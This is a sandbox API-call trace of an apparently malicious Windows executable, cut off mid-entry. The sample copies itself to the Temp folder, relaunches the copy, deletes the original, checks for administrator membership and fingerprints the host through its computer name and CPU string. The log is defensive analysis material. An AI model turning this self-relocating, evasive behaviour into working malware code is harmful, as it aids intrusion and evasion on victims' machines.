# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 23.03.2020 22:57:58.850 Process: id = "1" image_name = "tr53kshtaaa9j3h1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr53kshtaaa9j3h1.exe" page_root = "0x3cb7c000" os_pid = "0xb48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xab8 [0050.278] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0054.873] GetUserNameW (in: lpBuffer=0x12e8f0, pcbBuffer=0x12ec18 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x12ec18) returned 1 [0055.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", nBufferLength=0x105, lpBuffer=0x12e6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", lpFilePart=0x0) returned 0x39 [0055.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12eae0) returned 1 [0055.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\old.path"), fInfoLevelId=0x0, lpFileInformation=0x12ebc0 | out: lpFileInformation=0x12ebc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0055.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12eaa0) returned 1 [0057.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", nBufferLength=0x105, lpBuffer=0x12e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", lpFilePart=0x0) returned 0x3a [0057.596] GetUserNameW (in: lpBuffer=0x12e8a0, pcbBuffer=0x12ebc8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x12ebc8) returned 1 [0057.715] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", nBufferLength=0x105, lpBuffer=0x12e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", lpFilePart=0x0) returned 0x3a [0057.715] GetUserNameW (in: lpBuffer=0x12e8a0, pcbBuffer=0x12ebc8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x12ebc8) returned 1 [0057.717] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", nBufferLength=0x105, lpBuffer=0x12e600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", lpFilePart=0x0) returned 0x3a [0057.717] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", nBufferLength=0x105, lpBuffer=0x12e600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", lpFilePart=0x0) returned 0x3a [0057.725] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr53kshtaaa9j3h1.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\uw40n.exe"), bFailIfExists=1) returned 1 [0057.744] GetUserNameW (in: lpBuffer=0x12e8a0, pcbBuffer=0x12ebc8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x12ebc8) returned 1 [0057.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", nBufferLength=0x105, lpBuffer=0x12e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", lpFilePart=0x0) returned 0x3a [0057.766] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", nBufferLength=0x105, lpBuffer=0x12e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", lpFilePart=0x0) returned 0x39 [0057.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12e8d0) returned 1 [0057.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\old.path"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1e0 [0057.768] GetFileType (hFile=0x1e0) returned 0x1 [0057.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12e840) returned 1 [0057.768] GetFileType (hFile=0x1e0) returned 0x1 [0057.780] WriteFile (in: hFile=0x1e0, lpBuffer=0x26104b0*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e918, lpOverlapped=0x0 | out: lpBuffer=0x26104b0*, lpNumberOfBytesWritten=0x12e918*=0x3a, lpOverlapped=0x0) returned 1 [0057.781] CloseHandle (hObject=0x1e0) returned 1 [0057.784] GetUserNameW (in: lpBuffer=0x12e8a0, pcbBuffer=0x12ebc8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x12ebc8) returned 1 [0069.439] LocalFree (hMem=0x1a8d85d0) returned 0x0 [0069.563] CoGetContextToken (in: pToken=0x12e950 | out: pToken=0x12e950) returned 0x0 [0069.563] CObjectContext::QueryInterface () returned 0x0 [0069.564] CObjectContext::GetCurrentThreadType () returned 0x0 [0069.564] Release () returned 0x0 [0069.610] CoGetContextToken (in: pToken=0x12e460 | out: pToken=0x12e460) returned 0x0 [0069.610] CObjectContext::QueryInterface () returned 0x0 [0069.611] CObjectContext::GetCurrentThreadType () returned 0x0 [0069.611] Release () returned 0x0 [0069.611] CoGetContextToken (in: pToken=0x12e460 | out: pToken=0x12e460) returned 0x0 [0069.611] CObjectContext::QueryInterface () returned 0x0 [0069.611] CObjectContext::GetCurrentThreadType () returned 0x0 [0069.611] Release () returned 0x0 [0069.613] CoGetContextToken (in: pToken=0x12e460 | out: pToken=0x12e460) returned 0x0 [0069.613] CObjectContext::QueryInterface () returned 0x0 [0069.613] CObjectContext::GetCurrentThreadType () returned 0x0 [0069.613] Release () returned 0x0 [0069.618] CoGetContextToken (in: pToken=0x12e470 | out: pToken=0x12e470) returned 0x0 [0069.618] CObjectContext::QueryInterface () returned 0x0 [0069.618] CObjectContext::GetCurrentThreadType () returned 0x0 [0069.618] Release () returned 0x0 [0069.619] CoUninitialize () Thread: id = 2 os_tid = 0xa58 Thread: id = 3 os_tid = 0xaa4 [0050.563] CoGetContextToken (in: pToken=0x1a8bfa20 | out: pToken=0x1a8bfa20) returned 0x0 [0050.563] CObjectContext::QueryInterface () returned 0x0 [0050.563] CObjectContext::GetCurrentThreadType () returned 0x0 [0050.563] Release () returned 0x0 [0050.563] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0069.615] CloseHandle (hObject=0x37c) returned 1 [0069.618] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 4 os_tid = 0xaac Thread: id = 5 os_tid = 0x534 [0057.817] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0062.054] ShellExecuteExW (in: pExecInfo=0x2611d48*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2611d48*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x37c)) returned 1 [0069.405] CoGetContextToken (in: pToken=0x1b31f800 | out: pToken=0x1b31f800) returned 0x0 [0069.408] CoUninitialize () Thread: id = 6 os_tid = 0x70c Thread: id = 7 os_tid = 0x290 Process: id = "2" image_name = "uw40n.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\uw40n.exe" page_root = "0x1f4e0000" os_pid = "0x7b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb48" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0x57c [0070.190] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0070.900] GetUserNameW (in: lpBuffer=0x28e5b0, pcbBuffer=0x28e8d8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x28e8d8) returned 1 [0070.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", nBufferLength=0x105, lpBuffer=0x28e360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", lpFilePart=0x0) returned 0x39 [0070.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x28e7a0) returned 1 [0070.916] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\old.path"), fInfoLevelId=0x0, lpFileInformation=0x28e880 | out: lpFileInformation=0x28e880*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b2ffe10, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0x9b2ffe10, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9b325f70, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x3a)) returned 1 [0070.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x28e760) returned 1 [0070.933] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0071.936] GetUserNameW (in: lpBuffer=0x28e5b0, pcbBuffer=0x28e8d8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x28e8d8) returned 1 [0071.972] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", nBufferLength=0x105, lpBuffer=0x28e140, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path", lpFilePart=0x0) returned 0x39 [0071.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x28e620) returned 1 [0071.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\old.path" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\old.path"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1cc [0071.973] GetFileType (hFile=0x1cc) returned 0x1 [0071.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x28e590) returned 1 [0071.974] GetFileType (hFile=0x1cc) returned 0x1 [0071.975] ReadFile (in: hFile=0x1cc, lpBuffer=0x21cb1a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x28e6f8, lpOverlapped=0x0 | out: lpBuffer=0x21cb1a0*, lpNumberOfBytesRead=0x28e6f8*=0x3a, lpOverlapped=0x0) returned 1 [0071.977] ReadFile (in: hFile=0x1cc, lpBuffer=0x21cb1a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x28e6f8, lpOverlapped=0x0 | out: lpBuffer=0x21cb1a0*, lpNumberOfBytesRead=0x28e6f8*=0x0, lpOverlapped=0x0) returned 1 [0071.978] CloseHandle (hObject=0x1cc) returned 1 [0071.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", nBufferLength=0x105, lpBuffer=0x28e360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe", lpFilePart=0x0) returned 0x3a [0071.979] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr53KShtAaA9J3h1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr53kshtaaa9j3h1.exe")) returned 1 [0072.013] GetCurrentProcess () returned 0xffffffffffffffff [0072.014] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x28e738 | out: TokenHandle=0x28e738*=0x1cc) returned 1 [0072.024] GetTokenInformation (in: TokenHandle=0x1cc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28e7d8 | out: TokenInformation=0x0, ReturnLength=0x28e7d8) returned 0 [0072.024] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x4ef2e0 [0072.024] GetTokenInformation (in: TokenHandle=0x1cc, TokenInformationClass=0x8, TokenInformation=0x4ef2e0, TokenInformationLength=0x4, ReturnLength=0x28e7d8 | out: TokenInformation=0x4ef2e0, ReturnLength=0x28e7d8) returned 1 [0072.026] LocalFree (hMem=0x4ef2e0) returned 0x0 [0072.028] DuplicateTokenEx (in: hExistingToken=0x1cc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x28e838 | out: phNewToken=0x28e838*=0x1d0) returned 1 [0072.028] CheckTokenMembership (in: TokenHandle=0x1d0, SidToCheck=0x21cdea0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x28e840 | out: IsMember=0x28e840) returned 1 [0072.028] CloseHandle (hObject=0x1d0) returned 1 Thread: id = 9 os_tid = 0x780 Thread: id = 10 os_tid = 0x10c [0070.204] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0073.201] CloseHandle (hObject=0x1cc) returned 1 [0080.122] CloseHandle (hObject=0x270) returned 1 [0080.123] CloseHandle (hObject=0x1cc) returned 1 [0163.329] SetWindowLongPtrW (hWnd=0x50114, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1a78148c [0163.330] SetClassLongPtrW (hWnd=0x50114, nIndex=-24, dwNewLong=0x77a8b0ac) returned 0x1a78134c [0163.331] PostMessageW (hWnd=0x50114, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0163.331] SetWindowLongPtrW (hWnd=0x7026c, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1a78152c [0163.331] SetClassLongPtrW (hWnd=0x7026c, nIndex=-24, dwNewLong=0x77a8b0ac) returned 0x1a7814dc [0163.331] PostMessageW (hWnd=0x7026c, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0163.331] SetWindowLongPtrW (hWnd=0x5015e, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1a78139c [0163.331] SetClassLongPtrW (hWnd=0x5015e, nIndex=-24, dwNewLong=0x77a8b0ac) returned 0x77a8b0ac [0163.331] PostMessageW (hWnd=0x5015e, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0163.332] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0163.333] UnregisterClassW (lpClassName="WindowsForms10.Window.0.app.0.3ce0bb8_r12_ad1", hInstance=0x8a0000) returned 0 [0163.333] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0163.333] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.3ce0bb8_r12_ad1", hInstance=0x8a0000) returned 0 [0163.340] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x538 [0163.340] PostMessageW (hWnd=0x4011e, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0163.340] CoGetContextToken (in: pToken=0x1a76ed00 | out: pToken=0x1a76ed00) returned 0x0 [0163.340] CObjectContext::QueryInterface () returned 0x0 [0163.340] CObjectContext::GetCurrentThreadType () returned 0x0 [0163.340] Release () returned 0x0 Thread: id = 11 os_tid = 0x208 Thread: id = 12 os_tid = 0x79c [0072.034] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0072.829] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1af0f280 | out: pfEnabled=0x1af0f280) returned 0x0 [0073.439] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x1af0eab8 | out: phkResult=0x1af0eab8*=0x1cc) returned 0x0 [0073.439] GetComputerNameW (in: lpBuffer=0x1af0e840, nSize=0x1af0eb68 | out: lpBuffer="XDUWTFONO", nSize=0x1af0eb68) returned 1 [0073.441] RegQueryValueExW (in: hKey=0x1cc, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x1af0eb08, lpData=0x0, lpcbData=0x1af0eb00*=0x0 | out: lpType=0x1af0eb08*=0x1, lpData=0x0, lpcbData=0x1af0eb00*=0x50) returned 0x0 [0073.442] RegQueryValueExW (in: hKey=0x1cc, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x1af0eb08, lpData=0x2319fd8, lpcbData=0x1af0eb00*=0x50 | out: lpType=0x1af0eb08*=0x1, lpData="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", lpcbData=0x1af0eb00*=0x50) returned 0x0 [0073.443] RegCloseKey (hKey=0x1cc) returned 0x0 [0073.453] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="a1526949c144cb020cfffafffaf82007") returned 0x1cc [0073.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x1af0e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0073.489] IsAppThemed () returned 0x0 [0073.490] CoTaskMemAlloc (cb=0xf0) returned 0x1a554380 [0073.490] CreateActCtxA (pActCtx=0x1af0ea90) returned 0x1a57ac78 [0073.551] CoTaskMemFree (pv=0x1a554380) [0073.559] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc16a [0073.560] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc168 [0073.594] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0073.596] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7fef4930000 [0074.907] AdjustWindowRectEx (in: lpRect=0x1af0eb30, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x1af0eb30) returned 1 [0074.912] GetCurrentProcess () returned 0xffffffffffffffff [0074.912] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1af0e940, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1af0e940*=0x220) returned 1 [0074.935] GetCurrentActCtx (in: lphActCtx=0x1af0e830 | out: lphActCtx=0x1af0e830*=0x0) returned 1 [0074.936] ActivateActCtx (in: hActCtx=0x1a57ac78, lpCookie=0x1af0e870 | out: hActCtx=0x1a57ac78, lpCookie=0x1af0e870) returned 1 [0074.936] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0074.940] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7fefc4e0000 [0074.952] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77840000 [0074.953] GetProcAddress (hModule=0x77840000, lpProcName="DefWindowProcW") returned 0x77a8b0ac [0074.954] GetStockObject (i=5) returned 0x1900015 [0074.957] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0075.076] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.076] RegisterClassW (lpWndClass=0x1af0e510) returned 0xc121 [0075.078] CoTaskMemFree (pv=0x1a571d10) [0075.078] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0075.078] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.3ce0bb8_r12_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x8a0000, lpParam=0x0) returned 0x5015e [0075.115] SetWindowLongPtrW (hWnd=0x5015e, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1a78134c [0075.120] GetWindowLongPtrW (hWnd=0x5015e, nIndex=-4) returned 0x77a8b0ac [0075.123] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1af0d958 | out: phkResult=0x1af0d958*=0x234) returned 0x0 [0075.123] RegQueryValueExW (in: hKey=0x234, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x1af0d9a8, lpData=0x0, lpcbData=0x1af0d9a0*=0x0 | out: lpType=0x1af0d9a8*=0x0, lpData=0x0, lpcbData=0x1af0d9a0*=0x0) returned 0x2 [0075.123] RegQueryValueExW (in: hKey=0x234, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x1af0d9a8, lpData=0x0, lpcbData=0x1af0d9a0*=0x0 | out: lpType=0x1af0d9a8*=0x0, lpData=0x0, lpcbData=0x1af0d9a0*=0x0) returned 0x2 [0075.123] RegCloseKey (hKey=0x234) returned 0x0 [0075.125] SetWindowLongPtrW (hWnd=0x5015e, nIndex=-4, dwNewLong=0x1a78139c) returned 0x77a8b0ac [0075.125] GetWindowLongPtrW (hWnd=0x5015e, nIndex=-4) returned 0x1a78139c [0075.125] GetWindowLongPtrW (hWnd=0x5015e, nIndex=-16) returned 0x6c10000 [0075.129] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc122 [0075.130] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc162 [0075.131] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x5015e, Msg=0x81, wParam=0x0, lParam=0x1af0def0) returned 0x1 [0075.131] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x5015e, Msg=0x83, wParam=0x0, lParam=0x1af0dfa0) returned 0x0 [0075.132] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x5015e, Msg=0x1, wParam=0x0, lParam=0x1af0def0) returned 0x0 [0075.133] GetClientRect (in: hWnd=0x5015e, lpRect=0x1af0d9b0 | out: lpRect=0x1af0d9b0) returned 1 [0075.133] GetWindowRect (in: hWnd=0x5015e, lpRect=0x1af0d9b0 | out: lpRect=0x1af0d9b0) returned 1 [0075.137] GetParent (hWnd=0x5015e) returned 0x0 [0075.138] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001edc700000001) returned 1 [0075.213] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef4930000 [0075.213] AdjustWindowRectEx (in: lpRect=0x1af0ead8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1af0ead8) returned 1 [0075.213] GetSystemMetrics (nIndex=59) returned 1460 [0075.213] GetSystemMetrics (nIndex=60) returned 920 [0075.213] GetSystemMetrics (nIndex=34) returned 132 [0075.213] GetSystemMetrics (nIndex=35) returned 38 [0075.215] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef4930000 [0075.215] AdjustWindowRectEx (in: lpRect=0x1af0e898, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1af0e898) returned 1 [0075.219] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef4930000 [0075.219] AdjustWindowRectEx (in: lpRect=0x1af0e8e0, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1af0e8e0) returned 1 [0075.219] AdjustWindowRectEx (in: lpRect=0x1af0ea58, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1af0ea58) returned 1 [0075.219] GetSystemMetrics (nIndex=59) returned 1460 [0075.219] GetSystemMetrics (nIndex=60) returned 920 [0075.219] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef4930000 [0075.219] AdjustWindowRectEx (in: lpRect=0x1af0e690, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1af0e690) returned 1 [0075.219] AdjustWindowRectEx (in: lpRect=0x1af0e818, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1af0e818) returned 1 [0075.239] CreateCompatibleDC (hdc=0x0) returned 0x1e0109fb [0075.244] GetSystemDefaultLCID () returned 0x409 [0075.244] GetStockObject (i=17) returned 0x18a0025 [0075.247] GetObjectW (in: h=0x18a0025, c=92, pv=0x1af0e5c0 | out: pv=0x1af0e5c0) returned 92 [0075.248] GetDC (hWnd=0x0) returned 0x4e0107cc [0075.282] GdiplusStartup (in: token=0x7fe942887c8, input=0x1af0cec8, output=0x1af0cf78 | out: token=0x7fe942887c8, output=0x1af0cf78) returned 0x0 [0075.295] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.295] GdipCreateFontFromLogfontW (hdc=0x4e0107cc, logfont=0x1a571d10, font=0x1af0e700) returned 0x0 [0075.490] CoTaskMemFree (pv=0x1a571d10) [0075.518] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.518] CoTaskMemFree (pv=0x1a571d10) [0075.518] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.518] CoTaskMemFree (pv=0x1a571d10) [0075.520] GdipGetFontUnit (font=0x1b8141a0, unit=0x1af0e670) returned 0x0 [0075.520] GdipGetFontSize (font=0x1b8141a0, size=0x1af0e67c) returned 0x0 [0075.520] 